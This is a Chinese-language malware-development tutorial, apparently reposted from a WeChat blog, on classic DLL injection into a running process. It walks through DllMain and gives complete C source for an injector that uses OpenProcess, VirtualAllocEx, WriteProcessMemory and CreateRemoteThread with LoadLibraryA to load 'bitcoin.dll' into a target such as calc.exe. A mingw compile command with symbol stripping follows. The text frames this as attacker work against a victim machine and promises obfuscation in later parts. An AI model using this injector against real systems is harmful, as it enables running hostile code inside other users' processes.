让我们来谈谈一种经典的技巧,即使用调试工具的 DLL 注入。在上一部分中,我们讨论了将代码放入程序中。现在,让我们准备注入我们的 DLL。
当您为常规程序 (exe) 和称为 DLL 的特殊程序编写 C 代码时,会存在一些细微的差别。对于 exe,操作系统通过调用名为 main 的函数来启动所有程序。但对于 DLL,情况略有不同。操作系统已经在内存中启动了一个进程。您的 DLL 被加载到该进程中,因为该进程需要您的 DLL 可以执行的操作。
因此exe 需要一个 main 函数,而 DLL 需要一个 DLLMain 函数。这就是两者之间的主要区别。
为了简单起见,我们创建仅弹出消息框的 DLL:
此 DLL 仅包含 DllMain 函数,该函数是 DLL 的主入口点。通常,合法的 DLL 会声明导出函数,但此 DLL 不会。在 DLL 加载到进程内存后,会立即执行 DllMain。
在 DLL 注入的背景下,简单性是在另一个进程中执行代码的关键。因此,许多恶意 DLL 的大部分有害代码都包含在 DllMain 中。虽然有方法可以强制进程运行导出函数,但使用 DllMain 通常是实现代码执行的最直接方法。
当注入进程时,此 DLL 应显示消息“ hii ”以确认注入成功。这使攻击者能够验证注入是否成功。
现在我们可以编译它(在攻击者的机器上):
并将其放在我们选择的目录中(受害者的机器):
现在我们只需要一个代码将这个库注入到我们选择的进程中。
在我们的案例中,我们将讨论经典的 DLL 注入。我们从磁盘分配一个大小至少等于 DLL 路径长度的空缓冲区。然后我们将路径复制到此缓冲区。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\bitcoin.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Use FARPROC for function pointer
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...n");
return -1;
}
printf("PID: %in", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, // Cast lb to the appropriate function pointer type
rb, 0, NULL);
CloseHandle(ph);
return 0;
}
此代码是恶意软件注入的一个简单示例。其工作原理如下:
-
加载恶意 DLL:代码指定恶意 DLL 的路径(bitcoin.dll)及其长度。
-
获取函数地址:使用LoadLibraryA从模块中检索函数的地址。此函数负责加载 DLL。Kernel32GetProcAddress
-
打开目标进程:使用 打开由其进程 ID (PID) 指定的目标进程OpenProcess。
-
在目标进程中分配内存:它在目标进程内分配内存,用于VirtualAllocEx存储恶意 DLL 的路径。
-
写入目标进程内存:使用将恶意DLL的路径写入目标进程分配的内存空间WriteProcessMemory。
-
创建远程线程:使用 在目标进程中创建远程线程CreateRemoteThread。指示该线程执行LoadLibraryA函数,并将存储恶意 DLL 路径的内存地址作为参数传递。
最终,当我们理解了注入器的全部代码后,我们就可以测试它了。编译它:
x86_64-w64-mingw32-gcc -O2 bitcoin1.cpp -o bit_inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
让我们首先启动一个 calc.exe 实例,然后执行我们的程序:
为了验证我们的 DLL 确实被注入到 calc.exe 进程中,我们可以使用 Process Hacker。
在另一个内存部分我们可以看到:
看来我们的简单注入逻辑成功了!这只是将 DLL 注入另一个进程的最简单的方法,但在许多情况下它就足够了,而且非常有用。
如果您愿意,您还可以添加函数调用混淆,这将在未来的部分中进行研究。
在以后的部分中,我将尝试找出更高级的代码注入技术。
我希望你喜欢它:)
原文始发于微信公众号(Ots安全):恶意软件开发第 5 部分:将 DLL 注入进程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论